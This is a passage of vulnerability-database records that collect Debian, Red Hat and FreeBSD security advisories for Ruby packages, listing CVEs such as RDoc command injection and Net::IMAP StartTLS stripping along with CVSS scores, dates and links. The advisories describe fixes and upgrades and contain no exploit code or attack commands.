\n CVE-2021-41817 CVE-2021-41819 CVE-2021-32066\n\nSeveral vulnerabilities have been discovered in the interpreter for the\nRuby language and the Rubygems included, which may result on result in\nXML roundtrip attacks, the execution of arbitrary code, information\ndisclosure, StartTLS stripping in IMAP or denial of service.\n\nFor the oldstable distribution (buster), these problems have been fixed\nin version 2.5.5-3+deb10u4.\n\nWe recommend that you upgrade your ruby2.5 packages.\n\nFor the detailed security status of ruby2.5 please refer to\nits security tracker page at:\nhttps://security-tracker.debian.org/tracker/ruby2.5\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "NONE", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2022-02-03T19:26:40", "type": "debian", "title": "[SECURITY] [DSA 5066-1] ruby2.5 security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-28965", "CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066", "CVE-2021-41817", "CVE-2021-41819"], "modified": "2022-02-03T19:26:40", "id": "DEBIAN:DSA-5066-1:E9961", "href": "https://lists.debian.org/debian-security-announce/2022/msg00033.html", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "redhat": [{"lastseen": "2023-05-27T16:20:55", "description": "Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.\n\nSecurity Fix(es):\n\n* rubygem-rdoc: Command injection vulnerability in RDoc (CVE-2021-31799)\n\n* ruby: FTP PASV command response can cause Net::FTP to connect to arbitrary host (CVE-2021-31810)\n\n* ruby: StartTLS stripping vulnerability in Net::IMAP (CVE-2021-32066)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.4, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.2}, "published": "2022-02-24T15:11:44", "type": "redhat", "title": "(RHSA-2022:0672) Moderate: ruby:2.5 security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 4.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066"], "modified": "2022-02-24T15:17:37", "id": "RHSA-2022:0672", "href": "https://access.redhat.com/errata/RHSA-2022:0672", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2023-08-16T15:29:43", "description": "Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks. \n\nThe following packages have been upgraded to a later upstream version: rh-ruby27-ruby (2.7.4).\n\nSecurity Fix(es):\n\n* rubygem-bundler: Dependencies of gems with explicit source may be installed from a different source (CVE-2020-36327)\n\n* rubygem-rdoc: Command injection vulnerability in RDoc (CVE-2021-31799)\n\n* ruby: FTP PASV command response can cause Net::FTP to connect to arbitrary host (CVE-2021-31810)\n\n* ruby: StartTLS stripping vulnerability in Net::IMAP (CVE-2021-32066)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-20T07:32:43", "type": "redhat", "title": "(RHSA-2021:3559) Important: rh-ruby27-ruby security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-36327", "CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066"], "modified": "2021-09-20T07:45:45", "id": "RHSA-2021:3559", "href": "https://access.redhat.com/errata/RHSA-2021:3559", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-16T15:29:43", "description": "Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks. \n\nThe following packages have been upgraded to a later upstream version: rh-ruby30-ruby (3.0.2).\n\nSecurity Fix(es):\n\n* rubygem-bundler: Dependencies of gems with explicit source may be installed from a different source (CVE-2020-36327)\n\n* rubygem-rdoc: Command injection vulnerability in RDoc (CVE-2021-31799)\n\n* ruby: FTP PASV command response can cause Net::FTP to connect to arbitrary host (CVE-2021-31810)\n\n* ruby: StartTLS stripping vulnerability in Net::IMAP (CVE-2021-32066)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-10-25T20:32:25", "type": "redhat", "title": "(RHSA-2021:3982) Important: rh-ruby30-ruby security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-36327", "CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066"], "modified": "2021-10-25T20:36:24", "id": "RHSA-2021:3982", "href": "https://access.redhat.com/errata/RHSA-2021:3982", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-16T15:29:43", "description": "Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.\n\nSecurity Fix(es):\n\n* rubygem-bundler: Dependencies of gems with explicit source may be installed from a different source (CVE-2020-36327)\n\n* rubygem-rdoc: Command injection vulnerability in RDoc (CVE-2021-31799)\n\n* ruby: FTP PASV command response can cause Net::FTP to connect to arbitrary host (CVE-2021-31810)\n\n* ruby: StartTLS stripping vulnerability in Net::IMAP (CVE-2021-32066)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-08-05T14:06:16", "type": "redhat", "title": "(RHSA-2021:3020) Important: ruby:2.7 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-36327", "CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066"], "modified": "2021-08-05T14:37:21", "id": "RHSA-2021:3020", "href": "https://access.redhat.com/errata/RHSA-2021:3020", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-16T15:27:36", "description": "Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.\n\nSecurity Fix(es):\n\n* rubygem-bundler: Dependencies of gems with explicit source may be installed from a different source (CVE-2020-36327)\n\n* rubygem-rdoc: Command injection vulnerability in RDoc (CVE-2021-31799)\n\n* ruby: FTP PASV command response can cause Net::FTP to connect to arbitrary host (CVE-2021-31810)\n\n* ruby: StartTLS stripping vulnerability in Net::IMAP (CVE-2021-32066)\n\n* ruby: Regular expression denial of service vulnerability of Date parsing methods (CVE-2021-41817)\n\n* ruby: Cookie prefix spoofing in CGI::Cookie.parse (CVE-2021-41819)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-02-16T08:26:13", "type": "redhat", "title": "(RHSA-2022:0543) Important: ruby:2.6 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-36327", "CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066", "CVE-2021-41817", "CVE-2021-41819"], "modified": "2022-02-16T11:12:56", "id": "RHSA-2022:0543", "href": "https://access.redhat.com/errata/RHSA-2022:0543", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-16T15:27:36", "description": "Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.\n\nSecurity Fix(es):\n\n* rubygem-bundler: Dependencies of gems with explicit source may be installed from a different source (CVE-2020-36327)\n\n* rubygem-rdoc: Command injection vulnerability in RDoc (CVE-2021-31799)\n\n* ruby: FTP PASV command response can cause Net::FTP to connect to arbitrary host (CVE-2021-31810)\n\n* ruby: StartTLS stripping vulnerability in Net::IMAP (CVE-2021-32066)\n\n* ruby: Regular expression denial of service vulnerability of Date parsing methods (CVE-2021-41817)\n\n* ruby: Cookie prefix spoofing in CGI::Cookie.parse (CVE-2021-41819)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-02-16T08:27:10", "type": "redhat", "title": "(RHSA-2022:0544) Important: ruby:2.6 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-36327", "CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066", "CVE-2021-41817", "CVE-2021-41819"], "modified": "2022-02-16T11:15:50", "id": "RHSA-2022:0544", "href": "https://access.redhat.com/errata/RHSA-2022:0544", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-16T15:27:36", "description": "Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks. \n\nThe following packages have been upgraded to a later upstream version: rh-ruby26-ruby (2.6.9). (BZ#2056947)\n\nSecurity Fix(es):\n\n* rubygem-bundler: Dependencies of gems with explicit source may be installed from a different source (CVE-2020-36327)\n\n* rubygem-rdoc: Command injection vulnerability in RDoc (CVE-2021-31799)\n\n* ruby: FTP PASV command response can cause Net::FTP to connect to arbitrary host (CVE-2021-31810)\n\n* ruby: StartTLS stripping vulnerability in Net::IMAP (CVE-2021-32066)\n\n* ruby: Regular expression denial of service vulnerability of Date parsing methods (CVE-2021-41817)\n\n* ruby: Cookie prefix spoofing in CGI::Cookie.parse (CVE-2021-41819)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-02-28T18:41:38", "type": "redhat", "title": "(RHSA-2022:0708) Important: rh-ruby26-ruby security, bug fix, and enhancement update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-36327", "CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066", "CVE-2021-41817", "CVE-2021-41819"], "modified": "2022-02-28T18:46:43", "id": "RHSA-2022:0708", "href": "https://access.redhat.com/errata/RHSA-2022:0708", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-16T15:27:36", "description": "Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.\n\nSecurity Fix(es):\n\n* rubygem-bundler: Dependencies of gems with explicit source may be installed from a different source (CVE-2020-36327)\n\n* ruby: NUL injection vulnerability of File.fnmatch and File.fnmatch? (CVE-2019-15845)\n\n* ruby: Regular expression denial of service vulnerability of WEBrick's Digest authentication (CVE-2019-16201)\n\n* ruby: Code injection via command argument of Shell#test / Shell#[] (CVE-2019-16255)\n\n* rubygem-json: Unsafe object creation vulnerability in JSON (CVE-2020-10663)\n\n* ruby: BasicSocket#read_nonblock method leads to information disclosure (CVE-2020-10933)\n\n* ruby: Potential HTTP request smuggling in WEBrick (CVE-2020-25613)\n\n* ruby: XML round-trip vulnerability in REXML (CVE-2021-28965)\n\n* rubygem-rdoc: Command injection vulnerability in RDoc (CVE-2021-31799)\n\n* ruby: FTP PASV command response can cause Net::FTP to connect to arbitrary host (CVE-2021-31810)\n\n* ruby: StartTLS stripping vulnerability in Net::IMAP (CVE-2021-32066)\n\n* ruby: Regular expression denial of service vulnerability of Date parsing methods (CVE-2021-41817)\n\n* ruby: Cookie prefix spoofing in CGI::Cookie.parse (CVE-2021-41819)\n\n* ruby: HTTP response splitting in WEBrick (CVE-2019-16254)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-02-21T08:40:19", "type": "redhat", "title": "(RHSA-2022:0581) Important: ruby:2.6 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-15845", "CVE-2019-16201", "CVE-2019-16254", "CVE-2019-16255", "CVE-2020-10663", "CVE-2020-10933", "CVE-2020-25613", "CVE-2020-36327", "CVE-2021-28965", "CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066", "CVE-2021-41817", "CVE-2021-41819"], "modified": "2022-02-21T08:44:25", "id": "RHSA-2022:0581", "href": "https://access.redhat.com/errata/RHSA-2022:0581", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-08-16T15:27:36", "description": "Ruby is an extensible, interpreted, object-oriented, scripting language. It has features to process text files and to perform system management tasks.\n\nSecurity Fix(es):\n\n* rubygem-bundler: Dependencies of gems with explicit source may be installed from a different source (CVE-2020-36327)\n\n* ruby: NUL injection vulnerability of File.fnmatch and File.fnmatch? (CVE-2019-15845)\n\n* ruby: Regular expression denial of service vulnerability of WEBrick's Digest authentication (CVE-2019-16201)\n\n* ruby: Code injection via command argument of Shell#test / Shell#[] (CVE-2019-16255)\n\n* rubygem-json: Unsafe object creation vulnerability in JSON (CVE-2020-10663)\n\n* ruby: BasicSocket#read_nonblock method leads to information disclosure (CVE-2020-10933)\n\n* ruby: Potential HTTP request smuggling in WEBrick (CVE-2020-25613)\n\n* ruby: XML round-trip vulnerability in REXML (CVE-2021-28965)\n\n* rubygem-rdoc: Command injection vulnerability in RDoc (CVE-2021-31799)\n\n* ruby: FTP PASV command response can cause Net::FTP to connect to arbitrary host (CVE-2021-31810)\n\n* ruby: StartTLS stripping vulnerability in Net::IMAP (CVE-2021-32066)\n\n* ruby: Regular expression denial of service vulnerability of Date parsing methods (CVE-2021-41817)\n\n* ruby: Cookie prefix spoofing in CGI::Cookie.parse (CVE-2021-41819)\n\n* ruby: HTTP response splitting in WEBrick (CVE-2019-16254)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-02-21T08:40:25", "type": "redhat", "title": "(RHSA-2022:0582) Important: ruby:2.6 security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-15845", "CVE-2019-16201", "CVE-2019-16254", "CVE-2019-16255", "CVE-2020-10663", "CVE-2020-10933", "CVE-2020-25613", "CVE-2020-36327", "CVE-2021-28965", "CVE-2021-31799", "CVE-2021-31810", "CVE-2021-32066", "CVE-2021-41817", "CVE-2021-41819"], "modified": "2022-02-21T08:47:48", "id": "RHSA-2022:0582", "href": "https://access.redhat.com/errata/RHSA-2022:0582", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "freebsd": [{"lastseen": "2023-05-27T14:56:04", "description": "\n\nRuby news:\n\nThis release includes security fixes. Please check the topics below for details.\nCVE-2021-31810: Trusting FTP PASV responses vulnerability in Net::FTP\nCVE-2021-32066: A StartTLS stripping vulnerability in Net::IMAP\nCVE-2021-31799: A command injection vulnerability in RDoc\n\n\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector&qu
CVE-2021-32066
